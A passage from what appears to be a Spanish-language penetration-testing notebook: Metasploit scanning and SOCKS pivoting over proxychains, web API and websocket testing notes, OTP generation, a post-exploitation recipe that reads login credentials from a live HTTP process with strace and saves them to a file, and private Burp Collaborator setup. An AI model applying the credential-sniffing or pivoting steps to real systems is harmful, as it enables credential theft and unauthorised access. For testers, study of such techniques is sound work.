msf6 auxiliary(scanner/portscan/tcp) > run

[+] 169.254.106.26:       - 169.254.106.26:22 - TCP OPEN
[*] 169.254.106.0/24:     - Scanned  38 of 256 hosts (14% complete)
[*] 169.254.106.0/24:     - Scanned  68 of 256 hosts (26% complete)
[*] 169.254.106.0/24:     - Scanned  80 of 256 hosts (31% complete)
[*] 169.254.106.0/24:     - Scanned 113 of 256 hosts (44% complete)
[*] 169.254.106.0/24:     - Scanned 129 of 256 hosts (50% complete)
[*] 169.254.106.0/24:     - Scanned 160 of 256 hosts (62% complete)
[*] 169.254.106.0/24:     - Scanned 183 of 256 hosts (71% complete)
[*] 169.254.106.0/24:     - Scanned 205 of 256 hosts (80% complete)
[*] 169.254.106.0/24:     - Scanned 238 of 256 hosts (92% complete)
[*] 169.254.106.0/24:     - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```

Lo que ahora haremos sera levantar un socket para poder conectarnos por ssh a esa direccion IP.

```
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks_proxy 
msf6 auxiliary(server/socks_proxy) > show options

Module options (auxiliary/server/socks_proxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   SRVHOST   0.0.0.0          yes       The address to listen on
   SRVPORT   1080             yes       The port to listen on
   USERNAME                   no        Proxy username for SOCKS5 listener
   VERSION   5                yes       The SOCKS version to use (Accepted: 4a, 5)


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server


msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) > 
[*] Starting the SOCKS proxy server
```

Ahora podemos configurar de nuevo nuestro proxychains en el socket 9050.

```
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
socks5  127.0.0.1       9050
```

Luego, nos conectamos usando proxychains para verificar que el proxychains esta conectado correctamente.

```
proxychains ssh leonardosd@169.254.106.26
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:9050-<><>-169.254.106.26:22-<><>-OK
leonardosd@169.254.106.26's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-43-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

152 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Jan  3 11:24:26 2022 from 169.254.106.25
leonardosd@ubuntu:~$ 
```


# Web API to Postman

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FTqVd50FxivEl3fWqh838%2Fimage.png?alt=media&amp;token=88da172b-30a2-4c67-9146-1c1c59df272b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FlbCikJq6jBaLMVHsOTgs%2Fimage.png?alt=media&amp;token=653c5a73-1e4a-45b6-bd2b-e4df5a2f5a57" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2F0hUL7q0ItGSHpLhNZ5JG%2Fimage.png?alt=media&amp;token=507e01ae-2047-44a7-9c86-e4b1c6b02923" alt=""><figcaption></figcaption></figure>

### Swagger to Postman

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FcaupY9dK3zI2afBITJA2%2Fimage.png?alt=media&amp;token=182e61a7-93da-47fb-b2e2-7e2a24c5e3b1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FtBR1r9fz5A0dcKLMAY9i%2Fimage.png?alt=media&amp;token=a5e18a8d-623b-42b6-a90f-0c42c51aa73f" alt=""><figcaption></figcaption></figure>

Guardamos en Json e importamos en el Postman.


# Web Sockets

## WebSocket PortSwigger

Labs de portswigger academy de websockets con videos :D.

{% embed url="<https://ps.desdes.xyz/websockets>" %}

## WebSocket to WebNormal

Este codigo es bueno, ya que te permite convertir una conexion con websocket en una web normal solicitando el parametro especificado o los parametros especificados, de esta manera se puede automatizar pruebas de seguridad en websocket que antes eran complicadas de realizar.

{% embed url="<https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html>" %}


# OTP

## OTP Generator

```
oathtool --totp -b SECRET-KEY
```

{% embed url="<https://github.com/jaraco/oathtool>" %}


# FastInfoset

{% embed url="<https://cyber.aon.com/aon_cyber_labs/pentesting-fast-infoset-based-web-applications-with-burp/>" %}

{% embed url="<https://github.com/AonCyberLabs/FastInfoset-Burp-Plugin>" %}


# Post Explotación


# Dump HTTP Credentials

Esta técnica está pensada para casos en los que tienes strace, un proceso HTTP y quieres interceptar los paquetes para obtener las credenciales que un usuario puede estar ingresando en un login, esto es útil si eres el usuario propietario del proceso o si eres root. Esto funciona para HTTP o HTTPS.

## Identificando el PID del Servicio

```
netstat -putona
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.1:43493         0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:4040          0.0.0.0:*               LISTEN      86230/ngrok          off (0.00/0/0)
tcp        0      0 127.0.0.1:36023         0.0.0.0:*               LISTEN      2904/Code --standar  off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp6       0      0 :::3389                 :::*                    LISTEN      -                    off (0.00/0/0)
tcp6       0      0 127.0.0.1:34103         :::*                    LISTEN      5156/java            off (0.00/0/0)
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      5156/java            off (0.00/0/0)
tcp6       0      0 ::1:3350                :::*                    LISTEN      -                    off (0.00/0/0)
tcp6       0      0 2001:1388:13a7:cf:48056 2600:1f1e:4e5:1::6e:443 ESTABLISHED 86230/ngrok          keepalive (6.67/0/0)
udp        0      0 192.168.1.41:68         192.168.1.1:67          ESTABLISHED -                    off (0.00/0/0)
udp        0      0 224.0.0.251:5353        0.0.0.0:*                           5358/chrome --disab  off (0.00/0/0)
udp6       0      0 fe80::b625:3910:980:546 :::*                                -                    off (0.00/0/0)

```

Tambien podemos identificarlo con ps -aux

```
root       88312  0.0  0.0      0     0 ?        I    Apr10   0:00 [kworker/6:2-mm_percpu_wq]
root       88313  0.0  0.0      0     0 ?        I    Apr10   0:00 [kworker/5:2-rcu_gp]
dsds       88389  0.0  0.1 1186390240 64836 ?    Sl   Apr10   0:00 /home/dsds/BurpSuitePro/burpbrowser/122.0.6261.111/chrome --type=renderer --crashpad-handler-pid=5361 --enable-crash-reporter=, --user-
root       88502  0.8  0.1 260876 37652 pts/0    Sl+  Apr10   0:55 /home/dsds/ponencias/dragon-jar/api/env/bin/python3 app.py
root       88857  0.0  0.0      0     0 ?        I    Apr10   0:00 [kworker/11:3-cgroup_destroy]
root       89074  0.0  0.0      0     0 ?        I    Apr10   0:00 [kworker/8:1-events]
root       89553  0.0  0.0      0     0 ?        I    Apr10   0:00 [kworker/12:1-cgroup_destroy]
root       89555  0.0  0.0      0     0 ?        I    Apr10   0:00 [kworker/14:0-mm_percpu_wq]

```

Podemos identificar el PID el cual es: 88502.

## Dumpeamos el proceso para obtener las request

```
strace -e trace=network -s 1024 -fp 88502 2>&1
```

## Identificamos el endpoint

```
# strace -e trace=network -s 1024 -fp 88502 2>&1
strace: Process 88502 attached with 2 threads
[pid 88502] --- SIGWINCH {si_signo=SIGWINCH, si_code=SI_KERNEL} ---
[pid 88502] --- SIGWINCH {si_signo=SIGWINCH, si_code=SI_KERNEL} ---
[pid 88503] accept4(4, {sa_family=AF_INET, sin_port=htons(56866), sin_addr=inet_addr("192.168.1.41")}, [16], SOCK_CLOEXEC) = 5
[pid 88503] getsockname(5, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("192.168.1.41")}, [128 => 16]) = 0
strace: Process 165519 attached
[pid 165519] recvfrom(5, "POST /api/login HTTP/1.1\r\nHost: lab-cors.local\r\nContent-Length: 42\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\r\nContent-Type: application/json\r\nAccept: */*\r\nOrigin: http://lab-cors.local\r\nReferer: http://lab-cors.local/\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: en-US,en;q=0.9\r\nConnection: close\r\n\r\n{\"usuario\":\"sdfsdf\",\"contrasena\":\"sdfsdf\"}", 8192, 0, NULL, NULL) = 439
[pid 165519] sendto(5, "HTTP/1.1 401 UNAUTHORIZED\r\nServer: Werkzeug/3.0.2 Python/3.11.2\r\nDate: Thu, 11 Apr 2024 05:40:10 GMT\r\nContent-Type: application/json\r\nContent-Length: 42\r\nConnection: close\r\n\r\n", 175, 0, NULL, 0) = 175
[pid 165519] sendto(5, "{\n  \"error\": \"Credenciales incorrectas\"\n}\n", 42, 0, NULL, 0) = 42
[pid 165519] shutdown(5, SHUT_WR)       = 0
[pid 165519] +++ exited with 0 +++
```

Identificamos las credenciales {\\"usuario\\":\\"sdfsdf\\",\\"contrasena\\":\\"sdfsdf\\"}, y luego con ello podemos identificar el endpoint /api/login.&#x20;

También podemos identificar este endpoint desde un proxy como burpsuite.

Luego podemos configurar el paremetro -s para que muestre el request completo en caso de necesitarlo.

## Afinando el comando

Podemos tener un comando con el parametro exacto.

```
strace -e trace=network -s 1024 -fp 88502 2>&1 | grep /api/login
```

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2Fh39cQNmDEKoDRQSYZrxu%2Fimage.png?alt=media&amp;token=821bb6f3-53e6-41b2-8977-648c34c03b3c" alt=""><figcaption></figcaption></figure>

O sino, tambien podemos almacenar esto en un archivo:

```
(strace -e trace=network -s 1024 -fp 88502 2>&1 | grep /api/login) > credentials.txt
```


# Configuraciones Burpsuite


# BurpCollaborator Server Privado

## Instalación

Para la instalación de un servidor burp collaborator privado requerimos de comprar un dominio.

Luego de comprar el dominio empezaremos por instalar cerbot.

```
apt-get install certbot
```

**Nota: Para toda esta configuración recomiendo usar el usuario root.**

Ahora, ejecutaremos certbot para la creacion de los certificados SSL.

```
certbot certonly --manual --preferred-challenges=dns -d "*.collaborator-domain" -d "collaborator-domain"
```

Cuando ejecutemos esto, certbot nos solicitara crear dos registros \_acme-challenge de tipo TXT con unos valores específicos, para ello recomiendo usar el servicio DNS de su proveedor de dominio de esta manera sera mucho mas sencillo configurar estos registros TXT.

Luego de ello trataremos los certificados con los siguientes comandos.

{% code overflow="wrap" lineNumbers="true" %}

```
openssl pkcs8 -topk8 -inform PEM -outform PEM -in /etc/letsencrypt/live/collaborator-domain/privkey.pem -out /root/burp/keys/wildcard_.collaborator-domain.pkcs8 -nocrypt
cp /etc/letsencrypt/live/collaborator-domain/fullchain.pem /root/burp/keys/wildcard_.collaborator-domain.crt
awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/ { if (++n > 1) print }' /etc/letsencrypt/live/collaborator-domain/fullchain.pem > /root/burp/keys/intermediate.crt
```

{% endcode %}

Ahora ingresamos a la ruta /root/burp/ y creamos el archivo de configuracion del burpsuite myconfig.config.

```
{
    "serverDomain": "collaborator-domain",
    "workerThreads": 10,
    "interactionLimits": {
        "http": 8192,
        "smtp": 8192
    },
    "eventCapture": {
        "localAddress": ["IP-LOCAL"],
        "publicAddress": ["IP-PUBLICA"],
        "http": {
            "ports": 80
        },
        "https": {
            "ports": 443
        },
        "smtp": {
            "ports": [25, 587]
        },
        "smtps": {
            "ports": 465
        },
        "ssl": {
            "certificateFiles" : [
            "/root/burp/keys/wildcard_.collaborator-domain.key.pkcs8",
            "/root/burp/keys/wildcard_.collaborator-domain.crt",
            "/root/burp/keys/intermediate.crt" ]
        }
    },
    "metrics": {
        "path": "xxxxxxxxx",
        "addressWhitelist": ["0.0.0.0/0"]
    },
    "dns": {
        "interfaces": [{
                "name": "ns1.collaborator-domain",
                "localAddress": "IP-LOCAL",
                "publicAddress": "IP-PUBLICA"
            }],
        "ports": 53
    },
    "logLevel": "INFO",
    "customDnsRecords" : [
        {
            "label" : "_acme-challenge",
            "type" : "TXT",
            "record" : "VALOR",
            "ttl" : 60
        },
        {
            "label" : "_acme-challenge",
            "type" : "TXT",
            "record" : "VALOR",
            "ttl" : 60
        }
    ]
}

```

Asi mismo, en este momento es recomendable configurar el servidor DNS en nuestro proveedor de dominio, este sera de la siguiente manera, agregaremos 2 servidores dns de la forma.

```
ns1.collaborator-domain    IP-PUBLICA
ns2.collaborator-domain    IP-PUBLICA
```

Ya que el tiempo para actualizar el cambio de servidor DNS del proveedor de dominio a uno privado es entre 5 minutos a 24 horas. Puede que esto tome entre 1 a 2 horas en promedio, a veces menos a veces mas.

También necesitamos tener instalado el java, si no lo tenemos lo instalamos con el comando

```
apt install openjdk-17-jdk
```

Descargamos el burpsuitepro para realizar la configuracion del burpcollaborator.

{% embed url="<https://portswigger.net/burp/releases/professional-community-2024-6-6?requestededition=profesional&requestedplatform=JAR>" %}

Asi mismo creamos el servicio burp con el siguiente comando

```
nano /etc/systemd/system/burp.service
```

```
[Unit]
Description=Burp Collaborator
After=network.target

[Service]
ExecStart=/usr/bin/java -Xms50m -Xmx300m -XX:GCTimeRatio=19 -jar burpsuite_pro.jar --collaborator-server --collaborator-config=myconfig.config
Restart=always
User=root
Group=root
Environment=PATH=/usr/bin:/bin:/usr/local/bin
WorkingDirectory=/root/burp

[Install]
WantedBy=multi-user.target
```

Reiniciamos los servicios y cargamos el servicio burp.

```
systemctl daemon-reload
systemctl enable burp.service
systemctl start burp.service
```

Asi mismo, tambien habilitamos los puertos desde las iptables.

```
iptables -I INPUT 5 -p udp --dport 53 -m state --state NEW -j ACCEPT
iptables -I INPUT 5 -p tcp --dport 80 -m state --state NEW -j ACCEPT
iptables -I INPUT 5 -p tcp --dport 443 -m state --state NEW -j ACCEPT
iptables -I INPUT 5 -p tcp --dport 25 -m state --state NEW -j ACCEPT
iptables -I INPUT 5 -p tcp --dport 587 -m state --state NEW -j ACCEPT
iptables -I INPUT 5 -p tcp --dport 465 -m state --state NEW -j ACCEPT
```

Ahora si accedemos al dominio deberiamos ver una pagina como la siguiente.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FYAjLjkN4lMZomLOh1QDN%2Fimage.png?alt=media&amp;token=2aea4dbf-e06f-4df8-a322-c22214a59b36" alt=""><figcaption></figcaption></figure>

De esta manera deberiamos poder cargar el burpsuite collaborator desde la configuracion de nuestro cliente de burpsuite.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FOFlLW21nMeoaRP2Bz27l%2Fimage.png?alt=media&amp;token=f65b7bd0-f152-4fe3-abe6-9de2829cdf81" alt=""><figcaption></figcaption></figure>

Luego con el Run health check podemos validar que todo funciona correctamente.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FO2uEjFqnQGot1wBmfa9B%2Fimage.png?alt=media&amp;token=b278e428-3c33-443f-a3f9-a47a299012b6" alt=""><figcaption></figcaption></figure>

**Nota: Si los servicios no se exponen a internet es posible que tengas que configurar tus reglas de NAT de tu proveedor, o las politicas de red del servicio cloud.**

## Polling Location

Con el Polling Location, podemos configurar un puerto especifico para obtener los resultados de burpcollaborator de manera independiente, con la siguiente configuración.

```
"polling": {
    "localAddress": "127.0.0.1",
    "publicAddress": "10.20.0.159",
    "http": {
        "port": 9090
    },
    "https": {
        "port": 9443
    },
    "ssl": {
        "certificateFiles": [
        "keys/burpcollaborator.example.com.key.pkcs8",
        "keys/burpcollaborator.example.com.crt",
        "keys/intermediate.crt" ]
    }
},
```

Debemos poner en ssl, la misma configuración de certificados realizados en la instalación de burpcollaborator anterior. Así mismo, podemos especificar en localAddress y publicAddress.

**Nota: No es estrictamente obligatorio insertar una publicAddress, podemos eliminar esta linea para manejar directamente el polling de manera local.**

Luego, podemos realizar las pruebas de **Run health ckeck** para que nos devuelva la ejecución correcta.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FvoVwS3IO4ACv4kpVLCXR%2Fimage.png?alt=media&amp;token=89f7fddc-e63f-448b-93fc-c30c390377c8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FqKtvM1s7ZSN4MfGcDbdU%2Fimage.png?alt=media&amp;token=2d3cfec6-d104-4c7e-ba81-808ddbe5d1bf" alt=""><figcaption></figcaption></figure>

Nota: No olvidar crear la regla de iptables para que permita las conexiones de entrada, así como como también en caso de manejarse en cloud configurar las políticas de seguridad para los puertos 9090 y 9443.

## Configuración privada de Polling Location

Ya que tenemos un servidor privado de burpcollaborator, nos topamos con un problema y es que cualquiera que tenga nuestro dominio tiene acceso a usar este servicio. Si configuramos un puerto para el polling esto pareciera una proteccion pero no lo es, ya que un simple escaneo podría revelar el puerto de polling y de esa manera tener acceso completo al collaborator.

Puede que existan muchas opciones para solucionar esto, pero en este caso explicare la que a mi me funciono.

Empezaremos por configurar el polling en el archivo de configuración de burpsuite, para esto desactivaremos la ip publica, y solo lo manejaremos con localhost.

```
"polling": {
    "localAddress": "127.0.0.1",
    "http": {
        "port": 9090
    },
    "https": {
        "port": 9443
    },
    "ssl": {
        "certificateFiles": [
        "keys/burpcollaborator.example.com.key.pkcs8",
        "keys/burpcollaborator.example.com.crt",
        "keys/intermediate.crt" ]
    }
},
```

Como el cliente de burpsuite requiere acceder al servicio de polling que se encuentra en nuestro servidor, lo que haremos sera traernos el puerto 9443 a nuestra computadora con el cliente de burpsuite esto se hara mediante un local port forwarding.

```
ssh user@ip -L 9443:127.0.0.1:9443
```

Luego de ello, ya que  tenemos nuestro dominio del collaborator server, editaremos nuestro archivo hosts (ya sea en linux o windows) con la siguiente fila.

```
127.0.0.1    poll.collaborator-domain
```

Esto es posible ya que nuestro certificado SSL creado funciona para el dominio principal y todos sus subdominios.

Ahora, podemos validar que el local port forwarding funciona al acceder a nuestra ruta de metricas, para ello recordemos que en una parte de la configuración de burpsuite tenemos el siguiente texto.

```
"metrics": {
    "path": "xxxxxxxxx",
    "addressWhitelist": ["0.0.0.0"]
},
```

Entonces podemos acceder a las metricas con la siguiente url.

```
https://poll.collaborator-domain:9443/xxxxxxxxx/metrics
```

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FfjdwBZF5ObiqX482OzE4%2Fimage.png?alt=media&amp;token=0c628705-7c1b-492e-bcfc-b25637240de8" alt=""><figcaption></figcaption></figure>

Ahora por ultimo, configuramos en burpsuite con la direccion del servicio de polling.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FfFHj5CWVoT4ep78xuCB3%2Fimage.png?alt=media&amp;token=7886df82-64c6-4523-b4c5-8ea410f1c899" alt=""><figcaption></figcaption></figure>

Validamos con el health que todo esta funcionando perfectamente.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FNe8PDyRInxCsxL4BTuUP%2Fimage.png?alt=media&amp;token=b8e29dbe-3ed5-409f-b79c-4bb610563603" alt=""><figcaption></figcaption></figure>

Nota: Si piensas traerte el puerto 9090 que es el polling en HTTP (sin SSL) por algun problema que puedas tener con los certificados SSL, debes activar la opcion **Poll over unencrypted HTTP**.


# Solved: Illegal server name

Si cuentas con un problema como:

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2F1ldDYysGa35O5sOqq9Tr%2Fimage.png?alt=media&amp;token=db1fd133-c7ac-4764-ad39-f4db95a303cc" alt=""><figcaption></figcaption></figure>

Esto se puede deber a que burpsuite en si no soporta los dominio o subdominios con el carácter guion bajo "\_", en estos casos lo que hacemos es crear una configuración alternativa.

Si el subdominio es algo como:

```
subdominio_prod.website.com
```

Nosotros empezaremos con resolver este subdominio para obtener su direccion IP. Por ejemplo:

```
-$ nslookup subdominio_prod.website.com

Nombre:  subdominio_prod.website.com
Addresses:  123.123.123.123

```

Luego de ello, con esta dirección IP realizaremos unas configuración en burpsuite.

La primera sera en **Hostname resolution overrides**, donde especificaremos el dominio reemplazando el \_ por un . y la IP obtenida.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FlogMtrruYWWaK45l73Or%2Fimage.png?alt=media&amp;token=1528f6cc-c634-4251-8aca-b9d90a5ded7f" alt=""><figcaption></figcaption></figure>

Algunos creeríamos que con esto es mas que suficiente para que podamos utilizar la sitio correctamente, pero la mayoría de veces esto no es así, ya que en si la mayoría de sitios utilizan virtual host, entonces lo que se envíe en la cabecera Host es importante, así también como lo que nos responda el sitio debemos cambiarlo al dominio arbitrario que definimos. Para ello, configuraremos las siguientes reglas en **Match and replace** del **Proxy**.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FLJfXWf8dhx9TidyKJGbt%2Fimage.png?alt=media&amp;token=22c093fb-04cf-403d-baa0-a5b565a1f9df" alt=""><figcaption></figcaption></figure>

Y con esto, al acceder a la url **<https://subdominio.prod.website.com/>** obtendremos el sitio web para poder analizar de manera normal como lo hacemos siempre con burpsuite.

### Nota

Existen casos adicionales en donde esto puede fallar  ya que no se ha testeado en muchos entornos, mas que nada estos errores se pueden dar por políticas de navegador por el cambio de dominio, esto puede incurrir en entorno con APIs externas o subdominios de subdominios, para ello se deberá verificar el entorno y tal vez agregar el mismo procedimiento para estos recursos adicionales.

También cabe considerar que existen ciertos servidores que realizan una validación extra del dominio que se accede en conjunto con el subject del certificado.


